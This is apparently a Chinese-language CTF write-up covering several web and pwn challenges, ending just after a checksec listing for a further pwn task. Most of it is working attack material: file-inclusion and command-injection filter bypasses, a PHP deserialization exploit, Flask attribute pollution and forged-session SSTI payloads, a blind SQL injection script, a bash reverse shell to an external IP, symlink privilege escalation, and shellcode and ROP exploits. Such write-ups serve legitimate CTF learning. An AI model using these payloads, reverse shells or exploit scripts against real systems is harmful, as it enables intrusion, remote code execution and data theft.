WEB

DeceptiFlag

看到隐藏元素,而且提示拼音,分别输xiyangyang,huitailang进入tips.php

image-20250607103120357

cookie中发现flag位置为/var/flag/flag.txt,随便尝试几个路径包含发现都不行,伪协议读取成功

//file=php://filter/read=convert.base64-encode/resource=tips.php
//tips.php
<?php
session_start();

// 为 PHP 7 添加 str_starts_with 函数兼容支持
if (!function_exists('str_starts_with')) {
function str_starts_with($haystack, $needle) {
return strpos($haystack, $needle) === 0;
}
}

if (!isset($_SESSION['verified']) || $_SESSION['verified'] !== true) {
header("Location: aicuo.php");
exit();
}

if (!isset($_GET['file'])) {
header('Location: ?file=flag');
exit();
}

$file = trim($_GET['file']);

if (preg_match('/\s/', $file)) {
die('Trying to use space huh?');
}
if (preg_match('/\.\./', $file)) {
die('Trying to include files from parent directory huh?');
}
if (preg_match('/^\//', $file) && !str_starts_with($file, 'php://filter')) {
die('Trying to include files from root directory huh?');
}

if (str_starts_with($file, 'php://filter')) {
$content = @file_get_contents($file);
if ($content === false) {
die('无法读取文件');
}
echo $content;
exit();
}

require_once $file . '.php';
file=php://filter/read=convert.base64-encode/resource=/var/flag/flag.txt

image-20250607103323951

flag{d7d1eabc-3887-4651-bbc6-cb898528e58e}

Really_Ez_Rce

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

intval那里数组绕过,后面的cmd绕过就属于涨姿势了

GET/POST:Number[]=1
POST
cmd=l``s /
cmd=l$1s / //flag.txt
cmd=cd /;a=l;b=s;c=ca;d=t;$c$d `$a$b`;
cmd=cd /;ca$1t `l$1s`;
cmd=cd /;a=$(echo l);b=$(echo s);$a$b|c=$(echo c);d=$(echo at);$c$d;
cmd=cd /;a=$(echo l);b=$(echo s);$a$b%26%26c=$(echo c);d=$(echo at);$c$d `$a$b`; //注意&&要url编码
//首先进入根目录,读取ls获取的全部文件,绕过了.txt那个点
cmd=echo Y2F0IC9mKg== | ba$1se64 -d |s$1h
cmd=`echo Y2F0IC9mKg== | ba$1se64 -d`
//也有编码秒的
cmd=a=c;b=at;c=f;d=lag;e=t;f=xt;g=l;h=s;i=h;j=ead;k=$($g$h -a | $i$j -n 1);$a$b/$c$d$k$e$f
#原始为cat /flag(ls -a | head -n 1)txt
//官方wp用ls -a | head -n 1来绕过点,这样一看,软链接果然更方便!

虽然但是,我自己打的话,软链接秒了

cmd=ln -s / /var/www/html/a
再访问/a/flag.txt

image-20250610131757439

flag{2699279a-fc6c-4373-bbcd-8470739d5c79}

Watch(复现)

漏洞点主要是在源码中/handle/handle.go

userPath := r.URL.Query().Get("path")
path := filepath.Join(`\SystemRoot\`, userPath)

有个提示是注意go版本和路径形式

翻文章时觉得有几篇文章挺好GO语言安全审计-先知社区一个隐藏在Go语言标准库中的目录穿越漏洞 CVE-2022-29804 - 跳跳糖,但是这个题主要是依靠这个文章GO-2023-2185 - Go Packages

filepath 包无法将以 ??\ 为前缀的路径识别为特殊路径。在 Windows 上,以 ??\ 开头的路径是根本地设备路径,相当于以 \?\ 开头的路径。以 ??\ 为前缀的路径可用于访问系统上的任意位置。例如,路径 ??\c:\x 相当于更常见的路径 c:\x。修复之前,Clean 可以将根路径(例如 \a..??\b)转换为根本地设备路径 ??\b。现在,Clean 会将其转换为 .??\b。同样,Join(, ??, b) 可以将看似无害的路径元素序列转换为根本地设备路径 ??\b。现在,Join 会将其转换为 .??\b。此外,修复后,IsAbs 现在可以正确地将以 ??\ 开头的路径报告为绝对路径,VolumeName 可以正确地将 ??\ 前缀报告为卷名。更新:Go 1.20.11 和 Go 1.21.4 无意中更改了以 ? 开头的 Windows 路径中卷名的定义,导致 filepath.Clean(?\c:) 返回 ?\c: 而不是 ?\c:\(以及其他影响)。之前的行为已恢复。

那么直接回到目录去访问就行

../??/d:/

然后读取key.txt就行

image-20250610134410873

flag{8e35f701-a677-4e95-88bc-4bb34c12db19}

ez_php

<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']); //数组绕过
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]); //调用HongCaFei这个函数,并且将name作为第一个参数传递给函数
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

链子如下

GOGOGO::__destruct->DouBao::__toString->HeiCaFei::__call

前面用数组绕过,后面的调用主要用到__call方法

$a->dengchao->dao被设置为[new HeiCaFei(), 'ls'],这是一个合法的 callable 结构。

call_user_func_array可以接受这样的数组,解释为“在HeiCaFei对象上调用ls方法”。

当调用不存在的ls方法时,会将ls作为name从而进入__call方法实现调用

这里还涉及到一个绕过GC回收机制,参考浅析PHP GC垃圾回收机制及常见利用方式-先知社区


在PHP中,使用引用计数回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发__destruct方法,而这也就是我们绕过抛出异常的关键点。

简单来说,就是序列化一个数组,然后将第二个元素的对象个数i:1修改为i:0即可。当对象为null时就会使用__destruct方法


exp如下

<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
}
class HeiCaFei{
public $HongCaFei;
}

$a=new GOGOGO();
$a->dengchao=new DouBao();
$a->dengchao->Dagongren=[1];
$a->dengchao->Bagongren=[2];
$a->dengchao->dao=[new HeiCaFei(),"cat /of*"];
$a->dengchao->dao[0]->HongCaFei="system";
$b=serialize([$a,1]);
$c=str_replace("i:1;i:1","i:0;i:1",$b);
echo $c;
//a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:8:"cat /of*";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:1;}
POST:data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:8:"cat /of*";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:1;}

image-20250610144155382

flag{b448adc0-43f3-4fb1-8fa3-09211d99839e}

奇怪的咖啡店(复现)

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"



def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



app.run(host="0.0.0.0",port=5014)

/add路由存在原型链污染,但是存在过滤,__init____globals__都被过滤了,通过json.loads这个函数来Unicode编码绕过

默认情况下,Flask 的 _static_folder 是相对于应用根目录的 static 文件夹,修改为 “/“ 可能导致 Flask 从根目录查找静态文件。

{"__globals__":{"app":{"_static_folder":"/"}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}

image-20250610150410705

这样就是污染成功了,访问static/app/app.py拿到最终源码

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"


@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"

if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''

original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form

return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"




def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True

# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)

def check1(value):

if is_automated_request():
print("Automated tool detected")
return True

# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True

return False


app.run(host="0.0.0.0",port=5014)

这里通过原型链污染接着污染param_black_listSECRET_KEY,然后用session去打ssti获得flag

{"__globals__" : {"param_black_list" : ["1"]}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074" : ["1"]}}

{"__globals__" : {"app" : {"config" : {"SECRET_KEY":"123"}}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0063\u006f\u006e\u0066\u0069\u0067" : {"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"123"}}}}

然后伪造session就行

{'name': 'admin', 'permission': '{{lipsum.__globals__["os"].popen("ls").read()}}'}
flask-unsign --sign --cookie "{'name': 'admin', 'permission': '{{lipsum.__globals__[\"os\"].popen(\"ls\").read()}}'}" --secret '123'
eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImxzXCIpLnJlYWQoKX19In0.aEfl-g.EJiHIMzK1a6VKSJ3L92oq3oZHTo

{'name': 'admin', 'permission': '{{lipsum.__globals__["os"].popen("cat 4flloog").read()}}'}
flask-unsign --sign --cookie "{'name': 'admin', 'permission': '{{lipsum.__globals__[\"os\"].popen(\"cat 4flloog\").read()}}'}" --secret '123'
eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImNhdCA0Zmxsb29nXCIpLnJlYWQoKX19In0.aEfmcQ.WsGGyBY9txBnluH0EeOU5UWQfZo
Cookie:session=eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImNhdCA0Zmxsb29nXCIpLnJlYWQoKX19In0.aEfmcQ.WsGGyBY9txBnluH0EeOU5UWQfZo

这里有几个点,首先在生成session时中间的双引号必须转义,其次lipsum后面调用os时必须用双引号

而且这里的ssti还可以如下来打,也能打出来

{'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'}
.eJwdisEJwzAMAFcpeiWhZICuEhejNEoQ2JKx3Jfx7lH7uzuug2AmeAEemQWeUKhmNmMVj70bpXONkYVbjA5X0h2T_Xn_cmosLlsAf3LR6leA9xRALcC8Fi0kbh9sj-VcfqkSHtM8BowbvmMq-g.aEUwzg.mBiuRSOKBMNSSPfGUTg8XAVIJT0

image-20250610160228862

flag{1b2a6dce-f47d-4ef0-91ff-5385112c845d}

半成品login(复现)

先弱口令admin/admin123登录,发现要登录黑客账户,并且提示sql注入

在密码的地方反斜杠转义单引号发生了报错,即用admin/admin123\'#就登不上了

发现使用双重编码,即admin/admin123%2527%2523成功登录

image-20250610200113730

过滤了select,可以用table来进行sql注入,贴个脚本如下

这里用的是MySQL8.0新特性的table注入,除了下面的脚本,还可以使用sys.schema_tables_with_full_table_scans这个性能视图

import requests
import time


dict = '0123456789'
for i in range(ord('a'),ord('z')+1):
dict += chr(i)


burp0_url = "http://27.25.151.198:32918/login.php"

burp0_cookies = {"PHPSESSID": "292edf1013fa3e34a5c333e5f526d13a"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://27.25.151.198:31240", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://27.25.151.198:31240/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


# 库名
def database():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f"admin123%27and/**/(table/**/information_schema.schemata/**/limit/**/4,1)>=(\"def\",\"{tmp}\",3,4,5,6)#"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def tables():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/("def","hnctfweb","{tmp}","",5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table/**/information_schema.tables/**/limit/**/329,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_username():
res = 'hacker'
for _ in range(5):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{tmp}","","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_password(username):
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{username}","{tmp}","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break


# hnctfweb
# database()

# 329
# hnctfuser
# tables()


# data_username()
# hackergxve5, d8578edf845
data_password('hackergxve5')

登录后拿到flag

image-20250610200841299

flag{43bdbf4b-db23-4d1e-983b-dc174d48761b}

[WEB+RE]Just Ping Part 1(复现)

在源码中找到两个路由/api/ping?target=/api/testDevelopApi?cmd=

二进制可以分析,预置在pool中的是ping命令,当多次使用命令消耗后就会使用后面的命令,这里的123是拿来凑数的,测出来需要四段命令,中间以空格分开

/api/testDevelopApi?cmd=ls / 123 123
/api/ping?target=127.0.0.1 //flag

/api/testDevelopApi?cmd=cat /flag 123 123
/api/ping?target=127.0.0.1

image-20250610203101588

flag{bad8a9d4-9621-4f60-afdd-98eddaef7dd4}

[WEB+RE]Just Ping Part 2(复现)

先按照上面的思路反弹个shell

/api/testDevelopApi?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F38.55.99.186%2F1223%200%3E%261'%20%3E
#原来为bash -c 'bash -i >& /dev/tcp/38.55.99.186/1223 0>&1' >
/api/ping?target=127.0.0.1

image-20250611121136726

flag现在在root用户下,无法直接读取,涉及到提权,先来找下可以提权的文件

find / -user root -perm -4000 -print 2>/dev/null

image-20250611121443096

再看题目给的附件backup.sh

#!/bin/bash

if [ ! -f "backup" ]; then
exit 1
fi

ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)

if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
backup
exit 0
else
exit 1
fi

检查一个名为 backup 的文件的 MD5 校验和,并根据校验结果执行备份操作或退出

先找到这个backup文件

find / -name backup

image-20250611124424389

位于/usr/local/etc/backup

再去网站中给它下下来

/api/testDevelopApi?cmd=base64 /usr/local/etc/backup
/api/ping?target=127.0.0.1

扒下来逆向分析后发现是从../backuplist中获取文件路径,然后备份到/var/backups/backup.zip

image-20250611134509609

这里先看下../backuplist,只有读的权限,我们要的就是将/root/flag进行备份后读取,所以肯定要向/backuplist中写东西

ls -l /usr/local

image-20250611135302990

注意到etc有读写执行权限,那就通过软链接来实现向backuplist中写东西

cd /usr/local/etc
mkdir tmp
mv backup tmp
ln -s tmp/backup ./backup
echo "/root/flag" > backupList

现在等到定时任务执行后base64扒下来就好了,注意这里扒下来的时候有换行符,要去掉

base64 /var/backups/backup.zip

image-20250611141812254

image-20250611142130637

flag{bace50f6-5b18-422e-9a7d-be1aefbdfde7}

PWN

mint1.师傅在我web出不来的时候是库库出pwn哇,好给力

三步走战略

简单的orw

check

桌面$ checksec orw
[*] '/home/pwn/桌面/orw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled

mmap分配了一个可读写执行的段buf,用第一个read读shellcode到buf上第二个read栈溢出执行buf上的shellcode读出flag,要注意一开始用getchar接收了一个字节

from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('27.25.151.198',35086)
#io=process('./orw')
elf=ELF('./orw')
#gdb.attach(io)
sleep(2)
io.recvuntil(b'in advance.')
io.send(b'1')
io.recvuntil(b'Please speak:')


shellcode = '''
push 0
mov r15, 0x67616c66
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
'''
#调用read
shellcode += '''
mov r14, 3
mov rdi, r14
mov rsi, 0x4040C8
mov rdx, 0xff
mov rax, 0
syscall
'''
#调用write
shellcode +='''
mov rdi, 1
mov rsi, 0x4040C8
mov rdx, 0xff
mov rax, 1
syscall
'''
shellcode = asm(shellcode)

payload = b'\x90'*0x30+shellcode
io.send(payload)
io.recvuntil(b'Do you have anything else to say?')


payload = b'a' * 0x48 + p64(0x1337030)

io.sendline(payload)

io.interactive()

Stack Pivoting

【栈迁移】

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

给了libc有简单的栈溢出漏洞但是溢出字节数较少尝试栈迁移

1

可以发现func中的read的rsi=rbp+buf(buf为-0x40)所以我们可以通过控制rbp进而控制read的rsi,结合leave控制rsp

第一段payload

payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7)
io.send(payload)

将read的rsi迁移到bss处并读入第二段payload

第二段payload

payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

在bss上布置puts泄露libc基址,将rbp设为bss+200+0x40用于读入第三段提权shell,之后迁移到bss段开头执行

第三段payload

rbp = 0x404100
payload =(p64(rbp)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(one_gadget)).ljust(0x40,b'\x00')+p64(bss+0x200)+p64(leave_ret)

因为rdx为50想要同时控制rdx和rsi为零比较费字节数刚好发现有好用的gadget,但是需要注意rbp-0x78处是可写的

1

完整exp

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.198',45600)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#gdb.attach(io)
sleep(3)
bss = 0x404100
pop_rbp = 0x4011FD
pop_rdi = 0x0000000000401263
leave_ret = 0x4011CE
ret = 0x4011FE
io.recvuntil(b'can you did ?')
payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7)
io.send(payload)

payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

io.send(payload)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pop_rdx_rbx=0x00000000000904a9+libc_base
pop_rsi_r15=0x0000000000401261
one_gadget = 0xebc88 +libc_base
rbp = 0x404100
payload =(p64(rbp)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(one_gadget)).ljust(0x40,b'\x00')+p64(bss+0x200)+p64(leave_ret)

io.send(payload)

io.interactive()

shellcode

【orw进阶】

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了沙箱

1

禁用了write和sendfile可以用writev

openat–>mmap–>pread–>writev

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

#io = process('./pwn')
io = remote('27.25.151.198',42733)
elf = ELF('./pwn')

#gdb.attach(io)
sleep(3)


shellcode = asm('''
/* 1. 打开flag文件 */
mov rax, 0x67616c66
push rax
mov rsi, rsp
mov rdi, -0x64
mov rdx, 0
mov rax, 257 /* openat系统调用号 */
syscall

mov r13, rax /* 保存文件描述符到r13 */
cmp r13, 0 /* 检查是否打开失败 */
jl exit_shellcode

/* 2. 分配内存 */
mov rdi, 0
mov rsi, 0x1000
mov rdx, 0x3
mov r10, 0x22
mov r8, -1
mov r9, 0
mov rax, 9 /* mmap系统调用号 */
syscall

mov r12, rax /* 保存映射地址到r12 */
cmp r12, -1 /* 检查mmap是否失败 */
je exit_shellcode

/* 3. 读取文件内容 */
mov rdi, r13 /* 文件描述符(r13) */
mov rsi, r12 /* 缓冲区地址 */
mov rdx, 0x1000 /* 读取大小 */
mov r10, 0 /* 偏移量 */
mov rax, 17 /* pread系统调用号 */
syscall

mov rbx, rax /* 保存读取的字节数到rbx */
cmp rbx, 0 /* 检查是否读取失败 */
jle exit_shellcode

/* 4. 构造iovec并调用writev */
sub rsp, 0x10
mov [rsp], r12 /* iov_base = 映射地址 */
mov [rsp+8], rbx /* iov_len = 读取的字节数 */

mov rdi, 1 /* fd=1 (标准输出) */
lea rsi, [rsp] /* iovec地址 */
mov rdx, 1 /* iovcnt=1 */
mov rax, 20 /* writev系统调用号 */
syscall

add rsp, 0x10 /* 恢复栈指针 */

exit_shellcode:
mov rax, 60
xor rdi, rdi
syscall
''')

io.recvuntil(b'Enter your command:')
io.sendline(shellcode)
io.interactive()

pdd助力

【随机数】

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
